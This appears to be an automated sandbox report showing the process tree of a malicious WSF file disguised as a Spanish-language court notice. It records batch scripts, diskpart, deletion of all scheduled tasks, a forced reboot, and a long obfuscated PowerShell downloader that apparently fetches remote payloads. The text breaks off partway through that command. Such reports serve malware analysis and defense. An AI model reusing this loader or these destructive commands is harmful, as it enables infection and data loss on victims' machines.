        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=9172DABFA892EC1FE49891E369716DE9 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=9172DABFA892EC1FE49891E369716DE9 --renderer-client-id=2 --mojo-platform-channel-handle=1744 --allow-no-sandbox-job /prefetch:1
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:4940
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=557CC5D7B837E0C2AB2A1AA9B8C293A9 --mojo-platform-channel-handle=2292 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:3680
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=E38BE5540520A2777A63CA251C2E2181 --mojo-platform-channel-handle=1904 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:3976
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=C466F136E53C602517B0AFA3C90FDF8B --mojo-platform-channel-handle=2364 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:2140
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=5757BFD2FBCD707D2C283842047F89C3 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=5757BFD2FBCD707D2C283842047F89C3 --renderer-client-id=8 --mojo-platform-channel-handle=1760 --allow-no-sandbox-job /prefetch:1
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:1660
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\aettro.bat" "
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5880
        
        C:\Windows\SysWOW64\diskpart.exe
        
        diskpart disk 1
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:6820
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\bbzoru.bat" "
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:6712
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kurzza.bat" "
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:6892
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\hjnflw.bat" "
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:6928
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\izypgc.bat" "
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:2252
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\dkmdgi.bat" "
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4380
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Delete /TN * /F
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:2660
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\hpmpka.bat" "
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:8324
        
        C:\Windows\SysWOW64\shutdown.exe
        
        shutdown -r -t 8
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:8388
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
        6⤵
        
        PID:4944
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4824,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4812 /prefetch:8
  2⤵
  PID:3152
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2348,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4864 /prefetch:8
  2⤵
  PID:1756
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5116,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5340 /prefetch:8
  2⤵
  PID:4968
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  PID:2924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qndhw = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAZA' + [char]66 + 'sAGkAdQ' + [char]66 + 'CAFMATQ' + [char]66 + 'EAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAGQALw' + [char]66 + 'tAFIAYgA0AHAALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAGwARw' + [char]66 + 'mAFQAUwAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIAApACAAcQ' + [char]66 + '6AGwAaA' + [char]66 + 'qACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAA7ACkAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAFYAcA' + [char]66 + 'rAHUASgAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAATA' + [char]66 + 'MAEQALwAxADAALwAnACAAKwAgACcAcg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAKAAgAD0AIA' + [char]66 + 'xAHoAbA' + [char]66 + 'oAGoAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGMAcQ' + [char]66 + 'yAGsAYwAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 